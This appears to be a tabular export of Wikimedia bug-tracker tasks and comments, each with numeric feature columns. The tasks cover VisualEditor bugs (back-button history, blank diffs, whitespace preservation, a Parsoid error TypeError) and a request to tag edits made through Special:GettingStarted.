Note that it is slightly more complicated than just calling replaceState on init. We also need to listen on('popstate') to move back to read mode if the user presses Back to a url within the history that contains HTML5 history state data from VisualEditor.",,,1368496708,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,1,True,,,-7,,0.5,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.5,1.0,1.0,0.0,0.5,0.5,3.5,0.5,8.0,13.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.5,6.5,2.0,1.5,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.5,15.0,0.5,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.5,0.5,0.5,0.0,5.5,2.0,7.5,2.0,1.0,8.0,0.0,0.0,0.0,0.0,5.5,0.5,0.0,0.0,4.5,13.5,5.0,0.5,1.5,0.0,4.5,0.0,1.5,1.5,0.0,2.5,1.5,0.0,0.0,4.213869463869464,0.7485014985014985,"We currently use ?veaction=edit as trigger for VisualEditor from a permanent url.

This is implemented by checking the query parameter on page load and triggering init (just like a click on ""VisualEditor"" would do), and then we replace (without refresh) the url to drop this query parameter using the HTML5 History api (replaceState).

I'd recommend we build on this by using pushState when VisualEditor is initialised (we can then remove the current behaviour as there's no longer any reason to remove it from the url).

Note that it is slightly more complicated than just calling replaceState on init. We also need to listen on('popstate') to move back to read mode if the user presses Back to a url within the history that contains HTML5 history state data from VisualEditor."
224816,VisualEditor: Browser back button should work as expected,"To further clarify what the issue here is:

* a user visits <https://www.mediawiki.org/wiki/Wikimedia_Engineering/2012-13_Goals>;
* user clicks ""edit"";
* VisualEditor form loads;
* user tries to escape the form by pressing the ""back"" button in his/her browser;
* browser's ""back"" button doesn't work as expected (it should take the user back to the implicit view action where he/she started).",,,1368496497,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,8.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,7.0,1.0,4.0,1.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,8.0,2.0,0.0,7.0,0.0,6.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,1.0,3.3132530120481927,0.6626506024096386,"To further clarify what the issue here is:

* a user visits <URL
* user clicks ""edit"";
* VisualEditor form loads;
* user tries to escape the form by pressing the ""back"" button in his/her browser;
* browser's ""back"" button doesn't work as expected (it should take the user back to the implicit view action where he/she started)."
224810,VisualEditor: Browser back button should work as expected,Is this an easy bug?,,,1368496332,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,17.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.0,Is this an easy bug?
45754,"VisualEditor: When the diff result is null (no changes), don't show a confusing blank diff but instead a message","When the diff result is null (no changes), don't show a confusing blank diff but instead a message like ""There are no changes detected in your edit"" so that users aren't confused.

--------------------------
**Version**: unspecified
**Severity**: trivial",High,80.0,1357693440,1368575229.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-tbgpmmiggp5mn7bvnvbe,task_description,resolved,True,c1,1,True,False,True,-25,,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,2.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,7.0,5.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.810344827586207,0.7241379310344828,"When the diff result is null (no changes), don't show a confusing blank diff but instead a message like ""There are no changes detected in your edit"" so that users aren't confused.

--------------------------
**Version**: unspecified
**Severity**: trivial"
219476,"VisualEditor: When the diff result is null (no changes), don't show a confusing blank diff but instead a message",Merged; re-closing.,,,1368575229,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tbgpmmiggp5mn7bvnvbe,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Merged; re-closing.
219472,"VisualEditor: When the diff result is null (no changes), don't show a confusing blank diff but instead a message",Related URL: https://gerrit.wikimedia.org/r/63691 (Gerrit Change I537bcae91f51a3f30ca4736c41f7a5619bbf321d),,,1368553503,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-tbgpmmiggp5mn7bvnvbe,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I537bcae91f51a3f30ca4736c41f7a5619bbf321d)
219467,"VisualEditor: When the diff result is null (no changes), don't show a confusing blank diff but instead a message",Re-opening to provide less hacky fix.,,,1368553470,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-tbgpmmiggp5mn7bvnvbe,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,3.5555555555555554,1.0,Re-opening to provide less hacky fix.
219463,"VisualEditor: When the diff result is null (no changes), don't show a confusing blank diff but instead a message",Merged into master and will go out in wmf4.,,,1368311679,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tbgpmmiggp5mn7bvnvbe,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,30.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Merged into master and will go out in wmf4.
219458,"VisualEditor: When the diff result is null (no changes), don't show a confusing blank diff but instead a message",Related URL: https://gerrit.wikimedia.org/r/63236 (Gerrit Change I8daae124b060ccf54ce5ca7c1e1a6d18b7265ade),,,1368225175,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-tbgpmmiggp5mn7bvnvbe,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I8daae124b060ccf54ce5ca7c1e1a6d18b7265ade)
219453,"VisualEditor: When the diff result is null (no changes), don't show a confusing blank diff but instead a message",Working on this now.,,,1366738661,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-tbgpmmiggp5mn7bvnvbe,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,3.4,1.0,Working on this now.
45543,VisualEditor: Whitespace preservation for list items not working,"For whatever reason (may be a bug in the DM, or in the seralizer, or in selser), whitespace preservation didn't work in this edit https://en.wikipedia.org/w/index.php?title=International_Air_Transport_Association_airport_code&diff=530666305&oldid=526301045 . The whitespace changes didn't show in the initial diff I was asked to verify, only in the final change.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1356989040,1366206699.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-jrdnntjfzxsr3v7pxbff,task_description,resolved,True,c1,1,False,False,True,-26,,0.0,0.0,0.0,1.0,3.0,6.0,1.0,0.0,0.0,0.0,8.0,3.0,0.0,1.0,0.0,1.0,0.0,4.0,11.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,10.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,11.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.7083333333333335,0.6527777777777778,"For whatever reason (may be a bug in the DM, or in the seralizer, or in selser), whitespace preservation didn't work in this edit URL . The whitespace changes didn't show in the initial diff I was asked to verify, only in the final change.

--------------------------
**Version**: unspecified
**Severity**: normal"
206733,VisualEditor: Whitespace preservation for list items not working,*** Bug 48367 has been marked as a duplicate of this bug. ***,,,1368379914,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-jrdnntjfzxsr3v7pxbff,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48367 has been marked as a duplicate of this bug. ***
206726,VisualEditor: Whitespace preservation for list items not working,Merged.,,,1366206699,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jrdnntjfzxsr3v7pxbff,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Merged.
206721,VisualEditor: Whitespace preservation for list items not working,"(In reply to comment #3)
> Related URL: https://gerrit.wikimedia.org/r/59570 (Gerrit Change
> Ic4c93510518163894201a693ab50331413715967)

This commit fixes the bug. CC Gabriel and Subbu because they'd probably like to test it.",,,1366161752,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-jrdnntjfzxsr3v7pxbff,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,3.0,3.0,6.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,6.0,12.0,9.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.34375,0.875,"(In reply to comment #3)
QUOTE
QUOTE

This commit fixes the bug. CC Gabriel and Subbu because they'd probably like to test it."
206715,VisualEditor: Whitespace preservation for list items not working,Related URL: https://gerrit.wikimedia.org/r/59570 (Gerrit Change Ic4c93510518163894201a693ab50331413715967),,,1366161678,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jrdnntjfzxsr3v7pxbff,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ic4c93510518163894201a693ab50331413715967)
206708,VisualEditor: Whitespace preservation for list items not working,"It looks like this is happening because getDomFromData() somehow messes up the whitespace information. Then when getDomFromData() runs a second time (because you go back, change things, then diff again, or if you save after diffing), it sees inconsistent whitespace information and refuses to serialize it.",,,1366160823,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-jrdnntjfzxsr3v7pxbff,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,3.0,7.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,12.0,3.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.5,0.7586206896551724,"It looks like this is happening because getDomFromData() somehow messes up the whitespace information. Then when getDomFromData() runs a second time (because you go back, change things, then diff again, or if you save after diffing), it sees inconsistent whitespace information and refuses to serialize it."
206702,VisualEditor: Whitespace preservation for list items not working,"Confirm not happening in live - but /does/ happen with heads of VisualEditor and Parsoid (and MediaWiki) in testing. As Roan says, doesn't appear in diff, does appear in the final change.",,,1362784369,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jrdnntjfzxsr3v7pxbff,task_subcomment,,True,c1,1,True,,,-17,,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,18.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,0.7948717948717948,"Confirm not happening in live - but /does/ happen with heads of VisualEditor and Parsoid (and MediaWiki) in testing. As Roan says, doesn't appear in diff, does appear in the final change."
45216,VisualEditor: JS TypeError when Parsoid returns an error,"Steps to reproduce issue:
* Load VisualEditor on a page where the server will return in error
  (to simulate, call mw.loader.load('ext.visualEditor.viewPageTarget') from the console on a page where VE is not enabled, e.g. the Manual namespace on mw.org)
* Click Cancel on the server error alert()
* Witness said error on your console.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1355786940,1364318463.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-i3m3gsgv7zrvvcskhdat,task_description,resolved,True,c1,1,True,False,True,-28,,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,7.0,1.0,12.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,11.0,7.0,0.0,1.0,0.0,1.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.211764705882353,0.5882352941176471,"Steps to reproduce issue:
* Load VisualEditor on a page where the server will return in error
  (to simulate, call mw.loader.load('ext.visualEditor.viewPageTarget') from the console on a page where VE is not enabled, e.g. the Manual namespace on mw.org)
* Click Cancel on the server error alert()
* Witness said error on your console.

--------------------------
**Version**: unspecified
**Severity**: normal"
188488,VisualEditor: JS TypeError when Parsoid returns an error,"Now fixed - you get the message: ""Error loading data from server: novenamespace: VisualEditor is not enabled in namespace 100. Would you like to retry?""

Arguably the option to retry should be skipped, but marking this as now fixed.

J.",,,1364318463,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i3m3gsgv7zrvvcskhdat,task_subcomment,,True,c1,1,True,,,-14,,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,4.0,10.0,6.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9019607843137254,0.803921568627451,"Now fixed - you get the message: ""Error loading data from server: novenamespace: VisualEditor is not enabled in namespace 100. Would you like to retry?""

Arguably the option to retry should be skipped, but marking this as now fixed.

J."
188479,VisualEditor: JS TypeError when Parsoid returns an error,"**Coiby.Xu** wrote:

I meet this problem, too",,,1358937264,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-i3m3gsgv7zrvvcskhdat,task_subcomment,,True,c1,1,False,,,-23,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.8125,"**Coiby.Xu** wrote:

I meet this problem, too"
45191,Tag edits made through Special:GettingStarted,"**Author:** `swalling`

**Description:**
On English Wikipedia, we should add a tag (https://www.mediawiki.org/wiki/Manual:Tags) to edits made to articles chosen from Special:GettingStarted by new editors. 

We are logging actions anonymously with EventLogging, but providing a public tag of edits made through this interface has additional advantages:

* It will allow product managers and analysts the ability to see a real time stream of the edits
* It will help community members inspect the overall stream of edits, and assess them for quality
* It will explain to anyone who is watching a page how new editors found the article, and why they are editing it
* It will allow us to find and contact the new editors who use Special:GettingStarted (right now vandals are being warned, but good editors are being ignored for the most part)

If we're adding a tag, we should assume that most community members won't know what Special:GettingStarted is. With that in mind, I propose the following for the tag text: [[Special:Tags|Tag]]: new editor [[Wikipedia:GettingStarted|getting started]]

This is also appropriately agnostic to the task type (copyediting, wikifying, etc.), which is likely to change as the project evolves. You can see other tags in use on English Wikipedia at Special:Tags.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1355729280,1358418277.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-sqgxilqkeecvprvfh7ro,task_description,resolved,True,c1,1,False,False,True,-28,,0.0,0.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,5.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.6666666666666666,0.0,0.0,0.0,2.0,0.6666666666666666,2.6666666666666665,9.0,0.3333333333333333,1.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,4.333333333333333,2.0,1.6666666666666667,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.0,0.6666666666666666,0.3333333333333333,3.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,14.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.0,1.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,5.0,3.3333333333333335,11.666666666666666,1.3333333333333333,2.0,6.666666666666667,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.0,0.0,4.666666666666667,9.0,6.333333333333333,0.0,0.0,0.0,4.666666666666667,0.0,2.0,1.6666666666666667,0.6666666666666666,1.6666666666666667,0.0,0.6666666666666666,2.0,4.028178143826737,0.683100739723938,"**Author:** CODE

**Description:**
On English Wikipedia, we should add a tag (URL to edits made to articles chosen from Special:GettingStarted by new editors. 

We are logging actions anonymously with EventLogging, but providing a public tag of edits made through this interface has additional advantages:

* It will allow product managers and analysts the ability to see a real time stream of the edits
* It will help community members inspect the overall stream of edits, and assess them for quality
* It will explain to anyone who is watching a page how new editors found the article, and why they are editing it
* It will allow us to find and contact the new editors who use Special:GettingStarted (right now vandals are being warned, but good editors are being ignored for the most part)

If we're adding a tag, we should assume that most community members won't know what Special:GettingStarted is. With that in mind, I propose the following for the tag text: [[Special:Tags|Tag]]: new editor [[Wikipedia:GettingStarted|getting started]]

This is also appropriately agnostic to the task type (copyediting, wikifying, etc.), which is likely to change as the project evolves. You can see other tags in use on English Wikipedia at Special:Tags.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
187227,Tag edits made through Special:GettingStarted,https://gerrit.wikimedia.org/r/#/c/42198/ is mostly done.,,,1357771169,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,True,,,-25,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,URL is mostly done.
